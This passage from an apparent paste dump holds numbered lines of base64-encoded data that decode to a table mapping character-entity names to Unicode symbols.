G93bjpsZWZ0OnJpZ2h0OnZlY3Rvcg0K4qWQDQpyYXJyYw0K4qSzDQpyb2FuZw0K4p+tDQp2ZWVlcQ0K4omaDQp1ZGlncg0Kz4sNCnVhY2dyDQrPjQ0KOmFhY3V0ZQ0Kw4ENCnJhcXVvDQrCuw0KdWNpcmMNCsO7DQp2YXJzaWdtYQ0Kz4IN
  3058.   [ [ %c ] ] CnVsdHJpDQril7gNCnBydXJlbA0K4oqwDQpzdXBzdXANCuKrlg0KbGVmdGxlZnRhcnJvd3MNCuKHhw0KdHJpYW5nbGVkb3duDQrilr8NCm86cw0K4pOIDQpyYXJydw0K4oadDQp3cmVhdGgNCuKJgA0KcmhhcnUNCuKHgA0Kc2ltbmUNCuKJhg0KeHV0cmkNCuKWsw0Kc2ltZXENCuKJgw0KcHJuOmUNCuKqtQ0Kc2V0bW4NCuKIlg0Kc3Vwc3ViDQriq5QNCjp1YXJyb2Npcg0K4qWJDQo6bmV3OmxpbmUNCg0Kc3N0YXJmDQrii4YNCnJlYWxwYXJ0DQrihJwNCnJkcXVvDQrigJ0NCnNtaWxlDQrijKMNCnN1YjplDQriq4UNCnNsYXJyDQrihpANCjpwcmltZQ0K4oCzDQo6ZWdyYXZlDQrDiA0KOmdicmV2ZQ0KxJ4NCmc6ZQ0K4omnDQpwaXRjaGZvcmsNCuKLlA0KOmRvdWJsZTpkb3duOmFycm93DQrih5MNCnBob25lDQrimI4NCnJhdGlvDQriiLYNCnZuc3VwDQriioPig5INCjpkb3duOmJyZXZlDQrMkQ0KdXJjcm9wDQrijI4NCnBhcnNsDQriq70NCnJvYXJyDQrih74NCnZkYXNoDQriiqINCnN1cHNldA0K4oqDDQpyYnJrZQ0K4qaMDQp3Y2lyYw0KxbUNCnN1cHNpbQ0K4quIDQo6ZXF1YWw6dGlsZGUNCuKJgg0KOnVuaW9uOnBsdXMNCuKKjg0KOmNjZWRpbA0Kw4cNCnJsaGFyDQrih4wNCnN1Ym46ZQ0K4quLDQpybGFycg0K4oeEDQpybm1pZA0K4quuDQp2bnN1Yg0K4oqC4oOSDQpscmNvcm5lcg0K4oyfDQo6Y2Nhcm9uDQrEjA0KOnRpbGRlOmZ1bGw6ZXF1YWwNCuKJhQ0KdHJpZG90DQril6wNCm5vdG5pdmENCuKIjA0Kc2NzaW0NCuKJvw0KcmlnaHRhcnJvdw0K4oaSDQpub3RuaXZiDQrii74NCmxvemVuZ2UNCuKXig0Kbm90bml2Yw0K4ou9DQp2bHRyaQ0K4oqyDQo6bG93ZXI6cmlnaHQ6YXJyb3cNCuKGmA0Kcm9icmsNCuKfpw0Kc2lnbWENCs+DDQpzZG90ZQ0K4qmmDQo6ZW1wdHk6dmVyeTpzbWFsbDpzcXVhcmUNCuKWqw0KcmJhcnINCuKkjQ0Kc2NuYXANCuKqug0KOmJlcm5vdWxsaXMNCuKErA0Kc3F1YXJlDQrilqENCnNkb3RiDQriiqENCjpqc2VyY3kNCtCIDQpzcXVhcmYNCuKWqg0KcmVhbHMNCuKEnQ0Kcm9wYXINCuKmhg0KOmNhY3V0ZQ0KxIYNCnZhcnBpDQrPlg0KdmFydGhldGENCs+RDQo6cmlnaHQ6YXJyb3c6bGVmdDphcnJvdw0K4oeEDQpzY2N1ZQ0K4om9DQp1aGJsaw0K4paADQo6aXRpbGRlDQrEqA0KOmE6ZWxpZw0Kw4YNCnBsdXNiDQriip4NCnNtdGVzDQriqqzvuIANCjpsb25nbGVmdHJpZ2h0YXJyb3cNCuKfug0KOmNpcmNsZTp0aW1lcw0K4oqXDQpxcHJpbWUNCuKBlw0KdGhvcm4NCsO+DQp1cmNvcm4NCuKMnQ0KcGx1c2UNCuKpsg0KcmJicmsNCuKdsw0KdWJyY3kNCtGeDQpiYXJ3ZWRnZQ0K4oyFDQppbWFnbGluZQ0K4oSQDQpyYW5nZA0K4qaSDQo6ZG93bjphcnJvdw0K4oaTDQpyYW5nZQ0K4qalDQpiLnNpZ21hdg0K7ZuTDQpsZWZ0dGhyZWV0aW1lcw0K4ouLDQp1dGlsZGUNCsWpDQp0d29oZWFkbGVmdGFycm93DQrihp4NCm5vdGludmENCuKIiQ0KOm5vdDpwcmVjZWRlcw0K4oqADQp2YXJzdXBzZXRuZXFxDQriq4zvuIANCm5vdGlu
  3059.   [ [ %c ] ] dmINCuKLtw0Kbm90aW52Yw0K4ou2DQpwcm9mbGluZQ0K4oySDQpzcXN1cGUNCuKKkg0KdWhhcnINCuKGvg0KeHJhcnINCuKftg0KdW9nb24NCsWzDQp0aW1lcw0Kw5cNCm46bGVmdGFycm93DQrih40NCjp1cDp0ZWUNCuKKpQ0KdW1hY3INCsWrDQpyc3F1b3INCuKAmQ0KcmFkaWMNCuKImg0Kc3VwOmUNCuKrhg0KZXFjb2xvbg0K4omVDQpzZWFycg0K4oaYDQo6bm90Omxlc3M6ZXF1YWwNCuKJsA0Kc2NpcmMNCsWdDQpyY2VpbA0K4oyJDQpzdXBkb3QNCuKqvg0KcG91bmQNCsKjDQp0aWxkZQ0Ky5wNCm5zdXBzZXRlcXENCuKrhsy4DQo6dXJpbmcNCsWuDQo6ZWNhcm9uDQrEmg0Kc210DQriqqoNCnVtbA0KwqgNCndmcg0K7ZS0DQpwaXYNCs+WDQp1aGFybA0K4oa/DQo6b3RpbWVzDQriqLcNCnJlZw0Kwq4NCnNoeQ0Kwq0NCnRoZXRhDQrOuA0KdmZyDQrtlLMNCnRoa2FwDQriiYgNCnRhdQ0Kz4QNCnZjeQ0K0LINCnVncg0Kz4UNCjpsZWZ0OnVwOmRvd246dmVjdG9yDQripZENCmNpcjplDQrip4MNCnVmcg0K7ZSyDQpsdHI6cGFyDQrippYNCjpkb3duOmxlZnQ6dmVjdG9yDQrihr0NCnVjeQ0K0YMNCjpjb25pbnQNCuKIrw0KendqDQrigI0NCnRncg0Kz4QNCmJveDpoDQrilZANCjpoc3Ryb2sNCsSmDQpzcXN1YmUNCuKKkQ0KdGZyDQrtlLENCnNjZQ0K4qqwDQp0Y3kNCtGCDQpwYXINCuKIpQ0Kc2dyDQrPgw0KOmVhY3V0ZQ0Kw4kNCjpkb3VibGU6Y29udG91cjppbnRlZ3JhbA0K4oivDQo6ZG93bmFycm93DQrih5MNCjpyaWdodDpkb3duOnRlZTp2ZWN0b3INCuKlnQ0Kc2ZyDQrtlLANCmN1d2VkDQrii48NCmd0ZG90DQrii5cNCmhvYXJyDQrih78NCnNjeQ0K0YENCnNpbQ0K4oi8DQpjdXJhcnJtDQripLwNCjp1bmlvbg0K4ouDDQpyZ3INCs+BDQo6bm90OmxlZnQ6dHJpYW5nbGU6ZXF1YWwNCuKLrA0Kb2ZjaXINCuKmvw0KOnJpZ2h0OnRyaWFuZ2xlDQriirMNCjpjb2xvbmUNCuKptA0KOm90aWxkZQ0Kw5UNCnN1YnN1Yg0K4quVDQpncmF2ZQ0KYA0KaWlvdGENCuKEqQ0KOm86ZWxpZw0KxZINCnByaW1lcw0K4oSZDQpyZnINCu2Urw0KYmlndXBsdXMNCuKohA0KcmN5DQrRgA0KcmhvDQrPgQ0KOnVicmN5DQrQjg0KdmVlDQriiKgNCmN1dmVlDQrii44NCnBoaQ0Kz4YNCjplOmVhY2dyDQrOiQ0KcWZyDQrtlK4NCnZzdWJuZQ0K4oqK77iADQplc2RvdA0K4omQDQppZXhjbA0KwqENCmxjZWlsDQrijIgNCjpsZWZ0OnRyaWFuZ2xlDQriirINCm5lZG90DQriiZDMuA0KemVldHJmDQrihKgNCmdzaW1lDQriqo4NCm5sc2ltDQriibQNCnN3YXJoaw0K4qSmDQpwZ3INCs+ADQpjdXBvcg0K4qmFDQpub3Rpbg0K4oiJDQpiLm9tZWdhDQrtm5oNCnJsbQ0K4oCPDQpwZnINCu2UrQ0Kc29sDQovDQp0b3ANCuKKpA0KdHN0cm9rDQrFpw0KZG91YmxlYmFyd2VkZ2UNCuKMhg0KcGN5DQrQvw0KOmRjYXJvbg0KxI4NCnllbg0KwqUNCmR1aGFyDQripa8NCnByZQ0K4qqvDQpjc3VwZQ0K4quSDQplcGx1cw0K4qmxDQprYXBwYQ0KzroNCm1hbHRlc2UNCuKcoA0KeWFjdXRl
  3060.   [ [ %c ] ] DQrDvQ0KYm94OnYNCuKVkQ0KZHVhcnINCuKHtQ0KZXF1aXY6ZDpkDQriqbgNCmdzaW1sDQriqpANCm1kYXNoDQrigJQNCm53OmFycg0K4oeWDQpyaWdodGxlZnRoYXJwb29ucw0K4oeMDQpzdWINCuKKgg0KOnVvZ29uDQrFsg0KZ3RjaXINCuKpug0KaW1hdGgNCsSxDQpsbHRyaQ0K4pe6DQpub3RuaQ0K4oiMDQpyc2gNCuKGsQ0KZnJhc2wNCuKBhA0Kc3Vic3VwDQriq5MNCm5jb25nDQriiYcNCjp1bWFjcg0KxaoNCnZhcnByb3B0bw0K4oidDQpsYmFycg0K4qSMDQo6c2NpcmMNCsWcDQpzdW0NCuKIkQ0KbG5zaW0NCuKLpg0KaW5maW4NCuKIng0KaW9nb24NCsSvDQo6YWdyYXZlDQrDgA0KaWpsaWcNCsSzDQpsYXJyc2ltDQripbMNCmFzeW1wDQriiYgNCnBzaQ0Kz4gNCnNxY2Fwcw0K4oqT77iADQppbWFjcg0KxKsNCmxvcGFyDQripoUNCm9hY2dyDQrPjA0KYi5lcHNpdg0K7ZucDQpzcGFkZXMNCuKZoA0KbmRhc2gNCuKAkw0KOnZlcnRpY2FsOnNlcGFyYXRvcg0K4p2YDQpvY2lyYw0Kw7QNCnpncg0KzrYNCmZyb3duDQrijKINCmptYXRoDQrItw0KcHJvZmFsYXINCuKMrg0KOm50aWxkZQ0Kw5ENCjp0aWxkZQ0K4oi8DQo6Z2NlZGlsDQrEog0KcnRpbWVzDQrii4oNCnN1cA0K4oqDDQp6ZnINCu2Utw0KemN5DQrQtw0KZW1wdHlzZXQNCuKIhQ0KYXBwcm94ZXENCuKJig0KOnJpZ2h0OnZlY3RvcjpiYXINCuKlkw0KbmhwYXINCuKrsg0KeWZyDQrtlLYNCmVyYXJyDQripbENCnNxdQ0K4pahDQp5Y3kNCtGLDQpoYXJydw0K4oatDQpyaWdodGFycm93dGFpbA0K4oajDQp4b3RpbWUNCuKogg0KeGdyDQrOvg0KaWlpbnQNCuKIrQ0KbnNob3J0bWlkDQriiKQNCjp0aGV0YQ0KzpgNCnhmcg0K7ZS1DQpjdWxhcnJwDQripL0NCmltYWdlDQrihJENCmxiYnJrDQrinbINCmVsbA0K4oSTDQpnZ3INCs6zDQpuYWJsYQ0K4oiHDQpib3QNCuKKpQ0KZ2ZyDQrtlKQNCmJsazE0DQrilpENCmR0ZG90DQrii7ENCmxhbmdkDQrippENCm5lYXJyDQrihpcNCm9kYXNoDQriip0NCjpwYXJ0aWFsOmQNCuKIgg0KZ2N5DQrQsw0Kc3Vic2V0DQriioINCjp3ZWRnZQ0K4ouADQpzdWJzaW0NCuKrhw0KYmxrMTINCuKWkg0KZ2VzDQriqb4NCmdsYQ0K4qqlDQpnbmUNCuKqiA0KY3N1YmUNCuKrkQ0Kbmx0cmkNCuKLqg0Kb2VsaWcNCsWTDQphY2QNCuKIvw0KZmZyDQrtlKMNCmJsazM0DQrilpMNCmRpZQ0KwqgNCmZjeQ0K0YQNCmdlcQ0K4omlDQpuZ2VxcQ0K4omnzLgNCjp1YWNncg0Kzo4NCjp1ZGlncg0KzqsNCmVncg0KzrUNCmd0cXVlc3QNCuKpvA0KbmF0dXINCuKZrg0KZWdzDQriqpYNCmxhdGVzDQriqq3vuIANCmxkcXVvDQrigJwNCmVmcg0K7ZSiDQpucHINCuKKgA0Kc3VwbjplDQriq4wNCnhvcGx1cw0K4qiBDQo6bm90OmxlZnQ6dHJpYW5nbGU6YmFyDQrip4/MuA0KZWN5DQrRjQ0KOnVjaXJjDQrDmw0KYmlnc3FjdXANCuKohg0KYnNpbWUNCuKLjQ0Kb21lZ2ENCs+JDQpjaXINCuKXiw0KZGdyDQrOtA0KYXdpbnQNCuKokQ0KYW1wDQomDQpkZnINCu2UoQ0KZ2FwDQriqoYN
  3061.   [ [ %c ] ] Cmdsag0K4qqkDQpvcnYNCuKpmw0KZXhpc3QNCuKIgw0KZGN5DQrQtA0KZW5nDQrFiw0KOmxlZnQ6dmVjdG9yOmJhcg0K4qWSDQplcXVpdg0K4omhDQpvbWFjcg0KxY0NCmlhY2dyDQrOrw0KaWRpZ3INCs+KDQpibmUNCj3ig6UNCjpub3Q6bGVmdDp0cmlhbmdsZQ0K4ouqDQo6YmFyd2VkDQrijIYNCmNmcg0K7ZSgDQpzc21pbGUNCuKMow0KOnN1Y2NlZWRzOnNsYW50OmVxdWFsDQriib0NCnZzdXBuZQ0K4oqL77iADQpjdGRvdA0K4ouvDQpsb2Fycg0K4oe9DQpucjphcnINCuKHjw0KZXFzaW0NCuKJgg0KaWNpcmMNCsOuDQpsYnJrZQ0K4qaLDQpuZ3NpbQ0K4om1DQpvbGNyb3NzDQriprsNCnN1Y2NuZXFxDQriqrYNCmRpdg0Kw7cNCnBybnNpbQ0K4ouoDQpiZ3INCs6yDQpjaGkNCs+HDQpnZ2cNCuKLmQ0KYW5ncnR2YmQNCuKmnQ0KYnJldmUNCsuYDQpiZnINCu2Unw0KYmN5DQrQsQ0KZGlhbW9uZHN1aXQNCuKZpg0KcnRocmVlDQrii4wNCmFncg0KzrENCmxybQ0K4oCODQpsZWZ0cmlnaHRhcnJvdw0K4oaUDQphZnINCu2Ung0KZG90DQrLmQ0KZ2VsDQrii5sNCjpvc2xhc2gNCsOYDQpjcmFycg0K4oa1DQpsbGFycg0K4oeHDQpuaGFycg0K4oauDQphY3kNCtCwDQplZjpkb3QNCuKJkg0KOmxlZnQ6ZG93bjp2ZWN0b3I6YmFyDQripZkNCmFuZA0K4oinDQpvcmQNCuKpnQ0KZGVnDQrCsA0KbnNjDQriioENCmNlbnRlcmRvdA0KwrcNCnJpZ2h0cmlnaHRhcnJvd3MNCuKHiQ0KY2FwDQriiKkNCmxzaA0K4oawDQphbmcNCuKIoA0KZWxzDQriqpUNCm51bQ0KIw0KOmRvdWJsZTpsZWZ0OnRlZQ0K4qukDQpsbmVxcQ0K4omoDQpzcWN1cHMNCuKKlO+4gA0Kb2dyDQrOvw0KZXBzaXYNCs+1DQphcGUNCuKJig0Kb2htDQrOqQ0KYnVtcGUNCuKJjw0KbWludXMNCuKIkg0KbGFwDQriqoUNCm1pZA0K4oijDQpuZ3QNCuKJrw0Kb2ZyDQrtlKwNCm9jeQ0K0L4NCmU6ZDpkb3QNCuKptw0KaGNpcmMNCsSlDQpsaGJsaw0K4paEDQpuZXNpbQ0K4omCzLgNCm5ncg0Kzr0NCm9sY2lyDQripr4NCm5sZQ0K4omwDQpsYXQNCuKqqw0KbWFwDQrihqYNCm5mcg0K7ZSrDQpvZ3QNCuKngQ0KYnNvbGINCuKnhQ0KbmN5DQrQvQ0KbG9icmsNCuKfpg0KbWdyDQrOvA0KbGVzDQriqb0NCmxuZQ0K4qqHDQpsZWZ0aGFycG9vbnVwDQrihrwNCmxlc2NjDQriqqgNCm5sZXNzDQriia4NCjpnYW1tYWQNCs+cDQptZnINCu2Uqg0KbmFwDQriiYkNCnJzYXF1bw0K4oC6DQo6dmRhc2gNCuKKqQ0Kb2xhcnINCuKGug0KbGVxDQriiaQNCm1jeQ0K0LwNCm1obw0K4oSnDQpwdW5jc3ANCuKAiA0KcnBhcmd0DQrippQNCjp3Y2lyYw0KxbQNCjpkYWdnZXINCuKAoQ0KaW50DQriiKsNCmxncg0KzrsNCmN3aW50DQriiLENCmxoYXJkDQrihr0NCjphYnJldmUNCsSCDQpuYXBvcw0KxYkNCmlmZg0K4oeUDQpsZnINCu2UqQ0KbGFycmINCuKHpA0KbGN5DQrQuw0KbG9hbmcNCuKfrA0KbmxlcXENCuKJpsy4DQo6cnJpZ2h0YXJyb3cNCuKHmw0Kb2x0DQrip4ANCnByZWNlcQ0K4qqvDQprZ3INCs66DQpvaGJh
  3062.   [ [ %c ] ] cg0K4qa1DQo6b3ZlcjpwYXJlbnRoZXNpcw0K4o+cDQp6Y2Fyb24NCsW+DQpjcm9zcw0K4pyXDQpjdWVzYw0K4oufDQpsYXF1bw0KwqsNCmxhcnJiZnMNCuKknw0Ka2ZyDQrtlKgNCm5vdA0KwqwNCmIua2FwcGENCu2biw0Ka2N5DQrQug0KbmdlDQriibENCmV0aA0Kw7ANCmxveg0K4peKDQpubHQNCuKJrg0KcmlnaHRsZWZ0YXJyb3dzDQrih4QNCm9saW5lDQrigL4NCmFzdA0KKg0KY3VwDQriiKoNCmpmcg0K7ZSnDQpuYnVtcA0K4omOzLgNCmpjeQ0K0LkNCmlncg0KzrkNCm5pcw0K4ou8DQppZnINCu2Upg0KbmxhcnINCuKGmg0KaWN5DQrQuA0KaW5maW50aWUNCuKnnQ0Kbml2DQriiIsNCnRwcmltZQ0K4oC0DQo6bm90OnN1Y2NlZWRzOnNsYW50OmVxdWFsDQrii6ENCnJtb3VzdGFjaGUNCuKOsQ0KZXRhDQrOtw0KbGVnDQrii5oNCnN0cmFpZ2h0cGhpDQrPlQ0Kc3dud2FyDQripKoNCmxoYXJ1DQrihrwNCmhmcg0K7ZSlDQppbXBlZA0KxrUNCjpzaWdtYQ0KzqMNCjpwOnNncg0KzqgNCjpncmVhdGVyOmVxdWFsDQriiaUNCmx2bjplDQriiajvuIANCnphY3V0ZQ0KxboNCjpuZWdhdGl2ZTptZWRpdW06c3BhY2UNCuKAiw0KamNpcmMNCsS1DQpuOnZkYXNoDQriiq4NCmR0cmlmDQrilr4NCmx1cmRzaGFyDQripYoNCmN1ZXByDQrii54NCm5hcGlkDQriiYvMuA0KYXJpbmcNCsOlDQpic2VtaQ0K4oGPDQptaWNybw0KwrUNCm5leGlzdHMNCuKIhA0KaXByb2QNCuKovA0KbnJhcnINCuKGmw0Kc3ViZG90DQriqr0NCmduYXBwcm94DQriqooNCjpoOmE6cjpkY3kNCtCqDQpuc2ltZQ0K4omEDQpzdWJzZXRuZXENCuKKig0Kc3NldG1uDQriiJYNCjp0c3Ryb2sNCsWmDQpwcm9wdG8NCuKInQ0Kc3Vic2V0ZXFxDQriq4UNCnN1Y2NlcQ0K4qqwDQpyYXRpb25hbHMNCuKEmg0KZWFjZ3INCs6tDQp1ZmlzaHQNCuKlvg0KOnlhY3V0ZQ0Kw50NCmVtcHR5DQriiIUNCnVkYmxhYw0KxbENCm51bXNwDQrigIcNCnZlbGxpcA0K4ouuDQplY2lyYw0Kw6oNCmxvbmdsZWZ0cmlnaHRhcnJvdw0K4p+3DQphbGVwaA0K4oS1DQphbmdydA0K4oifDQo6dGhpbjpzcGFjZQ0K4oCJDQpwZXJjbnQNCiUNCmxlc2RvdG8NCuKqgQ0KZzplbA0K4qqMDQphbmdzdA0Kw4UNCmNjdXBzDQriqYwNCnNoY2hjeQ0K0YkNCmZvcmt2DQriq5kNCm9wZXJwDQriprkNCmRkYXJyDQrih4oNCjpkb3VibGU6cmlnaHQ6YXJyb3cNCuKHkg0KbGRyZGhhcg0K4qWnDQpvbWljcm9uDQrOvw0Kb3JhcnINCuKGuw0KcGhtbWF0DQrihLMNCmJsYW5rDQrikKMNCmduc2ltDQrii6cNCjpwcmVjZWRlczplcXVhbA0K4qqvDQpucGFydA0K4oiCzLgNCnByZWNjdXJseWVxDQriibwNCjpub3Q6cmlnaHQ6dHJpYW5nbGU6YmFyDQrip5DMuA0KZ2FtbWENCs6zDQo6Y2FwaXRhbDpkaWZmZXJlbnRpYWw6ZA0K4oWFDQpkaXNpbg0K4ouyDQpvdmJhcg0K4oy9DQpyZHF1b3INCuKAnQ0KbmFwOmUNCuKpsMy4DQp1YWN1dGUNCsO6DQpuc21pZA0K4oikDQp1d2FuZ2xlDQripqcNCjplbGVtZW50DQriiIgNCnBhcnNpbQ0K4quz
  3063.   [ [ %c ] ] DQptdW1hcA0K4oq4DQo6dXBwZXI6cmlnaHQ6YXJyb3cNCuKGlw0KZmx0bnMNCuKWsQ0KY2Fyb24NCsuHDQpscmhhcg0K4oeLDQpzdWNjYXBwcm94DQriqrgNCndlaWVycA0K4oSYDQphbmdsZQ0K4oigDQpiZHF1bw0K4oCeDQpkYmxhYw0Ky50NCmxzaW1nDQriqo8NCnh1cGx1cw0K4qiEDQpscmFycg0K4oeGDQo6cG9pbmNhcmVwbGFuZQ0K4oSMDQphbWFsZw0K4qi/DQpsc2ltZQ0K4qqNDQo6dDpoZ3INCs6YDQphb2dvbg0KxIUNCmJlcHNpDQrPtg0KY29tbWENCiwNCmFtYWNyDQrEgQ0KY29sb24NCjoNCm9yZGVyDQrihLQNCnRjYXJvbg0KxaUNCmNoZWNrDQrinJMNCjpzdWJzZXQNCuKLkA0KY3VkYXJybA0K4qS4DQpud2Fycg0K4oaWDQpubDphcnINCuKHjQ0Kc3BhZGVzdWl0DQrimaANCmdjaXJjDQrEnQ0KbHRjaXINCuKpuQ0Kc2Vzd2FyDQripKkNCmNhcmV0DQrigYENCjpub3Q6Z3JlYXRlcjplcXVhbA0K4omxDQppbWFncGFydA0K4oSRDQpzaWdtYXYNCs+CDQpzb2xiYXINCuKMvw0KYWN1dGUNCsK0DQpibG9jaw0K4paIDQpkZWx0YQ0KzrQNCmIuYWxwaGENCu2bgg0KcGVybWlsDQrigLANCnJhdGFpbA0K4qSaDQpkb3RlcQ0K4omQDQpmZmxpZw0K76yADQo6aTpqbGlnDQrEsg0Kc3VjY25zaW0NCuKLqQ0Kc29mdGN5DQrRjA0KY3VkYXJycg0K4qS1DQpwbGFua3YNCuKEjw0KYi5waQ0K7ZuRDQpvcGx1cw0K4oqVDQpuOmd0DQriiavig5INCnRlbHJlYw0K4oyVDQpsZWZ0aGFycG9vbmRvd24NCuKGvQ0KbHRkb3QNCuKLlg0KdG9wYm90DQrijLYNCjp0OnNjeQ0K0KYNCmw6ZWcNCuKqiw0Kc21hc2hwDQriqLMNCmxlc3NzaW0NCuKJsg0KcmJyYWNlDQp9DQpib3h1cg0K4pSUDQpzaWdtYWYNCs+CDQpyYnJhY2sNCl0NCmRhc2h2DQriiqMNCnN1cHBsdXMNCuKrgA0KbnZzaW0NCuKIvOKDkg0KY29tcGxleGVzDQrihIINCm46bGwNCuKLmMy4DQpiYWNrY29uZw0K4omMDQpudmw6YXJyDQripIINCnRvcGNpcg0K4quxDQpkaWFtcw0K4pmmDQpwbGFuY2sNCuKEjw0KYm94dnINCuKUnA0KcGVyaW9kDQouDQphYWNncg0KzqwNCm46Z2cNCuKLmcy4DQpyYXJybHANCuKGrA0KYi54aQ0K7ZuPDQpndm46ZQ0K4omp77iADQpuc3VwZQ0K4oqJDQpnaW1lbA0K4oS3DQpsYnJrc2xkDQripo8NCjpsZWZ0OnVwOnRlZTp2ZWN0b3INCuKloA0Kc2ltZG90DQriqaoNCmFjaXJjDQrDog0KaXVrY3kNCtGWDQpwcmVjbmVxcQ0K4qq1DQpuOmx0DQriiarig5INCmZpbGlnDQrvrIENCm5ydHJpDQrii6sNCjpyaWdodGFycm93DQrih5INCjpncmVhdGVyOmZ1bGw6ZXF1YWwNCuKJpw0KbmFwcHJveA0K4omJDQo6dW5kZXI6YnJhY2UNCuKPnw0KbGFlbXB0eXYNCuKmtA0Kd2VkYmFyDQriqZ8NCmNpcmZuaW50DQriqJANCmdlcXNsYW50DQriqb4NCmdlc2NjDQriqqkNCjphcHBseTpmdW5jdGlvbg0K4oGhDQpjbHVicw0K4pmjDQpuOnY6ZGFzaA0K4oqvDQpzZnJvd24NCuKMog0KdmFuZ3J0DQrippwNCmZqbGlnDQpmag0KY2VkaWwNCsK4DQo6bGVmdDpyaWdodDp2ZWN0b3IN
  3064.   [ [ %c ] ] CuKljg0Kcm1vdXN0DQrijrENCjpzOmhjeQ0K0KgNCnhzcWN1cA0K4qiGDQo6emNhcm9uDQrFvQ0KYm94dmwNCuKUpA0Kc3Vwc2V0bmVxcQ0K4quMDQo6ZG91YmxlOnVwOmRvd246YXJyb3cNCuKHlQ0KYi5udQ0K7ZuODQo6bGVmdDpyaWdodDphcnJvdw0K4oaUDQo6cmlnaHQ6dGVlOnZlY3Rvcg0K4qWbDQo6dmVydGljYWw6YmFyDQriiKMNCnVwYXJyb3cNCuKGkQ0KbGJya3NsdQ0K4qaNDQptaW51c2R1DQriqKoNCnJhcnJoaw0K4oaqDQpib3h2aA0K4pS8DQphZWxpZw0Kw6YNCmJveHVsDQrilJgNCnRjZWRpbA0KxaMNCmIubXUNCu2bjQ0KYmNvbmcNCuKJjA0KY2NhcHMNCuKpjQ0KcmFycmZzDQripJ4NCndlZGdlcQ0K4omZDQphbHBoYQ0KzrENCm5wcmVjDQriioANCmJveGRyDQrilIwNCnJhcnJhcA0K4qW1DQpkb3duaGFycG9vbnJpZ2h0DQrih4INCmlzaW5zDQrii7QNCjpwOmhncg0KzqYNCmVvZ29uDQrEmQ0KOmRvd246cmlnaHQ6dmVjdG9yOmJhcg0K4qWXDQpleHBvbmVudGlhbGUNCuKFhw0KZmxsaWcNCu+sgg0KOmN1cDpjYXANCuKJjQ0KaXNpbnYNCuKIiA0KZ25lcXENCuKJqQ0KZW1hY3INCsSTDQpuc3Bhcg0K4oimDQpiLmdhbW1hDQrtm4QNCnZlZWJhcg0K4oq7DQo6emFjdXRlDQrFuQ0KbnN1Y2MNCuKKgQ0Kbmg6YXJyDQrih44NCmNjaXJjDQrEiQ0KY3VybHl2ZWUNCuKLjg0KYm94aGQNCuKUrA0KZGhhcmwNCuKHgw0KcmFycnBsDQripYUNCjpsZWZ0OnVwOnZlY3RvcjpiYXINCuKlmA0KbHJ0cmkNCuKKvw0KbnJpZ2h0YXJyb3cNCuKGmw0KbnN1YmUNCuKKiA0KbnN1YnNldGVxcQ0K4quFzLgNCmJveG1pbnVzDQriip8NCm5jb25nZG90DQriqa3MuA0KcmhhcnVsDQripawNCjpyZXZlcnNlOmVxdWlsaWJyaXVtDQrih4sNCmRvdHNxdWFyZQ0K4oqhDQpuYXR1cmFsDQrima4NCmJsYWNrc3F1YXJlDQrilqoNCjpsZWZ0OnRlZTp2ZWN0b3INCuKlmg0KZGhhcnINCuKHgg0KaW50cHJvZA0K4qi8DQpsZXNzZG90DQrii5YNCm50cmlhbmdsZWxlZnQNCuKLqg0KOmRvdWJsZTp2ZXJ0aWNhbDpiYXINCuKIpQ0KcmFycnRsDQrihqMNCjpzdXBlcnNldDplcXVhbA0K4oqHDQpuOmxlZnRyaWdodGFycm93DQrih44NCjpub3Q6Y29uZ3J1ZW50DQriiaINCnZhcnRyaWFuZ2xlbGVmdA0K4oqyDQo6Y2VkaWxsYQ0KwrgNCjpsbGVmdGFycm93DQrih5oNCnVkaWFncg0KzrANCjpsZWZ0OmRvd246dmVjdG9yDQrih4MNCmxzcXVvDQrigJgNCjpkb3Q6ZXF1YWwNCuKJkA0KZXBzaWxvbg0KzrUNCjpub3Q6Z3JlYXRlcg0K4omvDQo6aHVtcDpkb3duOmh1bXANCuKJjg0KanVrY3kNCtGUDQpib3hkbA0K4pSQDQpsdHJpZg0K4peCDQpzcXN1cHNldGVxDQriipINCmJveGh1DQrilLQNCjpsZWZ0OmRvd246dGVlOnZlY3Rvcg0K4qWhDQpsdHJpZQ0K4oq0DQo6bm90OnByZWNlZGVzOmVxdWFsDQriqq/MuA0KYi5kZWx0YQ0K7ZuFDQo6eTp1Y3kNCtCuDQpndHJsZXNzDQriibcNCnRycGV6aXVtDQrij6INCmx2ZXJ0bmVxcQ0K4omo77iADQp4d2VkZ2UNCuKLgA0K
  3065.   [ [ %c ] ] OnI6ZTpnDQrCrg0KdGhpbnNwDQrigIkNCmxlc3NndHINCuKJtg0KdGltZXNiDQriiqANCmVyOmRvdA0K4omTDQo6aGlsYmVydDpzcGFjZQ0K4oSLDQp0aW1lc2QNCuKosA0KZnBhcnRpbnQNCuKojQ0KOnN1cHNldA0K4ouRDQpzdXBoc3ViDQriq5cNCnJjZWRpbA0KxZcNCjpyaWdodDp0ZWU6YXJyb3cNCuKGpg0Kc2ltbDplDQriqp8NCjpkOmRvdHJhaGQNCuKkkQ0KdHJpdGltZQ0K4qi7DQo6YmVjYXVzZQ0K4oi1DQpzdXBtdWx0DQriq4INCmJldHdlZW4NCuKJrA0KYm5lcXVpdg0K4omh4oOlDQo6Y2lyY2xlOmRvdA0K4oqZDQo6bGVmdDp0ZWU6YXJyb3cNCuKGpA0Kc3VwZWRvdA0K4quEDQpiaWdjaXJjDQril68NCjpsZXNzOnNsYW50OmVxdWFsDQriqb0NCjpyaWdodDp0cmlhbmdsZTplcXVhbA0K4oq1DQp0cmlwbHVzDQriqLkNCjpkaWFtb25kDQrii4QNCnNlYXJoaw0K4qSlDQo6c3F1YXJlDQrilqENCnRoZXRhdg0Kz5ENCmFsZWZzeW0NCuKEtQ0KdWdyYXZlDQrDuQ0KdWxjb3JuDQrijJwNCnByZWNuc2ltDQrii6gNCnJmbG9vcg0K4oyLDQpuZTphcnINCuKHlw0KbDphdGFpbA0K4qSbDQpzY25zaW0NCuKLqQ0KY2lyY2xlZGFzdA0K4oqbDQo6Y29uZ3J1ZW50DQriiaENCnJpc2luZ2RvdHNlcQ0K4omTDQpzaW1nOmUNCuKqoA0Kc2NlZGlsDQrFnw0KOm5vdDpzdWJzZXQNCuKKguKDkg0KOmNjb25pbnQNCuKIsA0KY29uZ2RvdA0K4qmtDQpzaG9ydG1pZA0K4oijDQpub3RpbmRvdA0K4ou1zLgNCjp6OmhjeQ0K0JYNCnNjYXJvbg0KxaENCnRhcmdldA0K4oyWDQp6aWdyYXJyDQrih50NCjp1dGlsZGUNCsWoDQo6cHJlY2VkZXM6c2xhbnQ6ZXF1YWwNCuKJvA0KOmRvd246bGVmdDp2Z